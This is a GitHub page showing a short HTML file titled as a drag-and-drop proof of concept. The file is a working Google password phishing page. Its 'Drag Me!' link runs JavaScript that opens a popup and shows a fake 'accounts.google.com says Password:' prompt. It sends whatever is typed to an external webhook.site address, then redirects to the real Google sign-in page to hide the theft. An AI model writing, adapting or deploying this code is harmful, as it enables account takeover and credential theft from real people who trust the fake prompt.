test/ba.html at main · onydose/test · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!DOCTYPE html>
<html><head><meta charset="utf-8"><title>Drag & Drop PoC</title><style>
body{font-family:system-ui;background:#111;color:#eee;text-align:center;padding:40px}
h1{color:#4ade80}
a{display:inline-block;padding:16px 32px;background:#1a73e8;color:white;border-radius:8px;text-decoration:none;font-weight:500;cursor:grab;margin:20px}
</style></head><body>
<h1>HALO</h1>

<a class="button" href='javascript:(function(){
  var w = window.open("about:blank","_blank","popup,noopener,noreferrer,width=900,height=700");
  if (!w) { alert("Enable popups to continue."); return; }
  try { w.focus(); } catch(e) {}
  setTimeout(function(){
    var p = w.prompt("accounts.google.com says\\n\\nPassword:");
    if (p !== null && p.trim() !== "") {
      try {
        var f = w.document.createElement("form");
        f.method = "POST";
        f.action = "https://webhook.site/46a1ff0d-65fb-41b4-a384-0ed267ed2a90/submit";
        var i = w.document.createElement("input");
        i.type = "hidden"; i.name = "password"; i.value = p;
        f.appendChild(i); w.document.body.appendChild(f); f.submit();
      } catch(e) {}
      setTimeout(() => w.location = "https://accounts.google.com/signin/v2/challenge", 300);
    } else if (p !== null) {
      alert("Password required!");
      setTimeout(arguments.callee, 100);
    } else w.close();
  }, 120);
})()'>Drag Me!</a>
</body></html>